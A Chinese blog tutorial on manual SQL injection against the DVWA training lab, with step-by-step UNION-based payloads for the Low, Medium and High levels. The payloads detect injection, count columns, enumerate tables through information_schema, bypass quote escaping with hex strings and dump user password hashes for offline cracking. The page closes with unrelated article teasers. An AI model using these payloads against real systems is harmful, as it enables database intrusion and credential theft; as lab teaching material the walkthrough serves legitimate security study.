SQL手工注入(DVWA)

news2025/5/6 1:28:24

手工SQL注入攻击的标准思路

Low等级

(1)判断是否存在注入

(2)猜解字段个数

(3)确定字段顺序

(4)获取当前数据库

(5)获取当前数据库中的表

(6)获取数据表中的字段名

(7)获取数据

Medium等级

(1)判断是否存在注入

(2)猜解字段个数

(3)确定字段顺序

(4)获取当前数据库

(5)获取当前数据库中的表

(6)获取数据表中的字段名

(7)获取数据

High等级

(1)通过LIMIT限制

(2)爆库名和版本号

(3)爆数据库名

(4)爆字段名

(5)盗取用户密码

手工SQL注入攻击的标准思路

1.判断是否存在注⼊,注⼊的类型是字符型、数字型 还是 搜索型 2.猜解SQL查询语句中的字段数 3.确定显⽰的字段顺序 4.获取当前数据库 5.获取数据库中的表 6.获取表中的字段名 7.查询/下载数据

Low等级

在Low等级,SQL注入的界面如下当我们正常输入UserID(比如:1~5)然后点击Submit按钮之后会正常显示User的ID、FirstName和Surname三个字段

IDFirst nameSurname
1adminadmin
2GordonBrown
3HackMe
4PabloPicasso
5BobSmith

(1)判断是否存在注入

注入的类型是字符型、数字型还是搜索型

输入1,查询成功

1' or '1'='1 #

查询成功

1' and '1'='1

查询成功

1' and '1'='2 #

查询失败,返回结果为空

由此可见,此模块存在于字符型注入漏洞。

(2)猜解字段个数

1′ order by 1 #

查询成功

1′ order by 2 #

查询成功

1′ order by 3 #

查询失败

由此可见,说明此模块执行的SQL查询语句中只有两个字段,即这里的First Name, Surname。

(3)确定字段顺序

1' union select 1,2 #

查询成功

由此可见,说明此模块执行的SQL查询语句大概为

SELECT FirstName, SurName FROM TableName WHERE ID = 'id' ....

(4)获取当前数据库

1' union select 1,database() #

查询成功

说明当前数据库名为dvwa

(5)获取当前数据库中的表

1' union select 1, table_name from information_schema.tables where table_schema='dvwa

dvwa这个数据库下有两张表:guestbook 和 users

如果表很多的话,也可以使用group_concat函数来一并返回表名:

1' union select 1, group_concat(table_name) from information_schema.tables where
table_schema='dvwa

(6)获取数据表中的字段名

1' union select 1,group_concat(column_name) from information_schema.columns where
table_name='users

(7)获取数据

1' union select group_concat(user_id,first_name,last_name),group_concat(password) from users #

接将admin的password复制出来,拿到一个MD5在线解密的网站破解一下

Medium等级

使用Burp Suite来做抓包

把其中的参数id=1改为3,再点击Forware按钮,它就会将我们原本选择UserID=1改为UserID=3转 发到真实服务器,于是后端返回了如下的结果:

(1)判断是否存在注入

注入的类型是字符型、数字型还是搜索型

抓包更改参数

id=1′ or 1=1 #

报错

将其改为

id=1 or 1=1 #

由此可见,存在数字型注入

(2)猜解字段个数

抓包更改参数

id=1 order by 1 #

输入

1 order by 2 #

输入

1 order by 3 #

查询失败,说明存在返回2个字段。

(3)确定字段顺序

抓包更改参数

id=1 union select 1,2 #

(4)获取当前数据库

抓包更改参数

id=1 union select 1,database() #

说明当前数据库为dvwa

(5)获取当前数据库中的表

抓包修改参数

id=1 union select 1, group_concat(table_name) from information_schema.tables where table_schema=database() #

dvwa这个数据库下有两张表:guestbook 和 users

(6)获取数据表中的字段名

抓 包 修 改 参 数

 id=1 union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #

报错,单引号被转义了,变成了'

利 用 16 进 制 进 行 绕 过 转 义 操 作 , 再 次 抓 包 修 改 参 数 为 :

id=1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 #

(7)获取数据

抓 包 后 修 改 参 数

id=1 union select group_concat(user_id,first_name,last_name), group_concat(password) from users #

High等级

(1)通过LIMIT限制

1' union select 1,2#

(2)爆库名和版本号

-1' union select database(),version() #

(3)爆数据库名

1' union select (select group_concat(table_name) from information_schema.tables where table_schema='dvwa'),2#

(4)爆字段名

 -1' union select (select group_concat(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users'),2#

(5)盗取用户密码

-1' union select group_concat(user_id,first_name,last_name),group_concat(password) from users #

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2362795.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【大模型系列篇】Qwen3开源全新一代大语言模型来了,深入思考,更快行动

Qwen3开源模型全览 Qwen3是全球最强开源模型(MoEDense) Qwen3 采用混合专家(MoE)架构,总参数量 235B,激活仅需 22B。 Qwen3 预训练数据量达 36T,并在后训练阶段多轮强化学习,将非思…

flutter 专题 一百零四 Flutter环境搭建

Flutter简介 Flutter 是Google开发的一个移动跨平台(Android 和 iOS)的开发框架,使用的是 Dart 语言。和 React Native 不同的是,Flutter 框架并不是一个严格意义上的原生应用开发框架。Flutter 的目标是用来创建高性能、高稳定性…

玩玩OCR

一、Tesseract: 1.下载windows版: tesseract 2. 安装并记下路径,等会要填 3.保存.py文件 import pytesseract from PIL import Image def ocr_local_image(image_path):try:pytesseract.pytesseract.tesseract_cmd rD:\Programs\Tesseract-OCR\tesse…

“Everything“工具 是 Windows 上文件名搜索引擎神奇

01 Everything 和其他搜索引擎有何不同 轻量安装文件。 干净简洁的用户界面。 快速文件索引。 快速搜索。 快速启动。 最小资源使用。 轻量数据库。 实时更新。 官网:https://www.voidtools.com/zh-cn/downloads/ 通过网盘分享的文件:Every…

TIME_WAIT状态+UDP概念及模拟实现服务器和客户端收发数据

目录 一、TIME_WAIT状态存在的原因 二、TIME_WAIT状态存在的意义 三、TIME_WAIT状态的作用 四、UDP的基本概念 4.1 概念 4.2 特点 五、模拟实现UDP服务器和客户端收发数据 5.1 服务器udpser 5.2 客户端udpcil 一、TIME_WAIT状态存在的原因 1.可靠的终止TCP连接。 2.…

一篇撸清 Http,SSE 与 WebSocket

HTTP,SSE 和WebSocket都是网络传输的协议,本篇快速介绍三者的概念和比较。 SSE(Server-Sent Events) 是什么? SSE(Server-Sent Events),服务器发送事件, 是一种基于 HTTP 的轻量级协议,允许服务器主动向客户端(如浏览器)推送实时数据。它设计用于单向通信(服务器到…

56、【OS】【Nuttx】编码规范解读(四)

背景 接之前 blog 53、【OS】【Nuttx】编码规范解读(一) 54、【OS】【Nuttx】编码规范解读(二) 55、【OS】【Nuttx】编码规范解读(三) 分析了行宽格式,注释要求,花括号风格等&#…

IOT项目——DIY 气象站

开源项目:ESP32 气象站 作者:GiovanniAggiustatutto 原文链接:原文 开源项目:太阳能 WiFi 气象站 V4.0 作者:opengreenenergy 原文链接:原文 DIY 气象站 简介1-制版2-物料 温度设备塔风向标风速计雨量计框…

MODSIM选型指南:汽车与航空航天企业如何选择仿真平台

1. 引言 在竞争激烈的汽车与航空航天领域,仿真技术已成为产品研发不可或缺的环节。通过在设计阶段验证概念并优化性能,仿真平台能有效缩短开发周期并降低物理样机制作成本。 MODSIM(建模与仿真)作为达索系统3DEXPERIENCE平台的核…

【JavaEE】springMVC返回Http响应

目录 一、返回页面二、Controller和ResponseBody与RestController区别三、返回HTML代码⽚段四、返回JSON五、HttpServletResponse设置状态码六、设置Header6.1 HttpServletResponse设置6.2 RequestMapping设置 一、返回页面 步骤如下: 我们先要在static目录下创建…

计算机网络八股文--day4 --传输层TCP与UDP

这是面试中最常考到的一层:端到端(也就是进程之间)的透明数据传输服务,差错控制和流量控制 该层呈上启下,像上面的资源子网提高服务,并使用下面通信子网的服务 端口,用于唯一标识主机上进程的&…

个人开发免费好用

聊一聊 现在输入法非常多,有时候都不知道哪个更好用。 其实,只有多尝试,才能找到适合自己的。 今天给大家分享一款输入法,用起来比较顺手,大家可以试试。 软件介绍 BL输入法 这是一款绿色纯净,安全放心…

[随笔] 升级uniapp旧项目的vue、pinia、vite、dcloudio依赖包等

汇总 # 升级uniapp项目dcloudio整体依赖,建议执行多次 # 会顺带自动更新/升级vue的版本 npx dcloudio/uvmlatest alpha# 检查 pinia 的最新版本 npm view pinia version# 更新项目 pinia 到最新版本 npm update pinia# 更新项目 pinia 到特定的版本 # 首先&#xf…

第十六届蓝桥杯 2025 C/C++组 密密摆放

目录 题目: 题目描述: 题目链接: 思路: 思路详解: 发个牢骚: 代码: 代码详解: 题目: 题目描述: 题目链接: P12337 [蓝桥杯 2025 省 AB/Python B 第二…

【QT】QT中的网络编程(TCP 和 UDP通信)

QT中的网络编程(TCP 和 UDP通信) 1.tcp1.1 tcp通信1.1.1 相比linux中tcp通信:1.1.2 QT中的tcp通信: 1.2 tcp通信流程1.2.1 服务器流程:1.2.1.1 示例代码1.2.1.2 现象 1.2.2 客户端流程:1.2.2.1 示例代码1.2.2.2 现象: …

第38课 常用快捷操作——双击“鼠标左键”进入Properties Panel

概述 在设计过程中,我们经常需要更改某个图元的属性,例如更该焊盘的大小、更改网络的名称等等。 在AD 20中,更改属性一般都是在Properties Panel上完成的。 当我们要更改某个图元的属性时,我们用鼠标左键双击它,就可…

从零开发一个B站视频数据统计Chrome插件

从零开发一个B站视频数据统计Chrome插件 前言 B站(哔哩哔哩)作为国内最大的弹幕视频网站之一,视频的播放量、点赞、投币、收藏等数据对于内容创作者和数据分析者来说非常重要。本文将带你一步步实现一个Chrome插件,自动统计并展…

[stm32] 4-1 USART(1)

文章目录 前言4-2 USART与串口通信(1)USART简介什么是USART?USART名字的含义?如何使用USART? USART的工作原理什么是串并转换?为什么要进行串并转换?移位寄存器串并行转换电路 USART寄存器组和完整框图 前言 本笔记内容&#xff…

记录两个免费开源又好用的后台模版vue3

一.element-plus-admin 一套基于vue3、element-plus、typesScript、vite的后台集成方案 1.简介 vue-element-plus-admin 是一个基于 element-plus 免费开源的中后台模版。使用了最新的 Vue3,Vite,Typescript等主流技术开发,开箱即用的中后…

【AI生产力工具】Windsurf,一款AI编程工具

Windsurf 是 Codeium 公司推出的一款 AI 编程助手,它是一款集成深度上下文感知、多模型协作和实时代码管理的综合开发环境(IDE)。 Windsurf 作为 AI 编程工具的核心价值在于 “上下文感知 + 多模型协作 + 自动化工作流”,其深度集成的智能体系统(如 Flows 和 Cascade)正…